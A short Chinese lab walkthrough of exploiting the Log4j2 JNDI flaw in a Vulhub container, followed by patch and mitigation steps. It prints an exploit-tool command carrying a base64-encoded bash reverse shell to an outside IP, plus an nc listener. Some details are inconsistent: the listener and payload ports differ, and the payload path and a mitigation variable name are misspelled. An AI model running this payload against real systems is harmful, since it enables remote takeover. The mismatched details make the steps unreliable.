盘一盘log4j2漏洞getshell方式
1、漏洞描述
Apache Log4j2是一款非常优秀的Java日志框架,由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
2、getshell
首先拉一个Vulhub的log4j2漏洞的docker镜像(不细说了这块自行百度吧),用VPS下载log4j2的利用工具,github项目地址:https://github.com/sayers522/JNDI-Injection-Exploit,下载完成后进入目录mvn打包一下:
在打包好的工具中执行:
java -jarJNDI-Injection-Exploit-1.0-SNAPSHOT-all -C "bash -c {echo,YmFzaCAtaSA+JiAvZG12L3RjcC84MS42OC43My4xNDYvNzc3NyAwPiYxIA==}|{base64,-d}|{bash,-i}"-A "x.x.x.x"
VPS另起一个shell,nc监听1234端口,nc -lvvp 1234
成功反弹shell:
3、漏洞修复
1.升级Apache Log4j 2至最新安全版本2.15.0-rc2:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
2.升级已知受影响的应用及组件,如spring-boot-starter-log4j2/ApacheStruts2/ApacheSolr/ApacheDruid/Apache Flink。
临时解决方案:
1.设置jvm参数"-Dlog4j2.formatMsgNoLookups=true";
2.设置系统环境变量
"FORMAT_MESSAGES_PATTERN_DIS-ABLE_LOOKU_PS"为"true";
3.关闭应用的网络外连。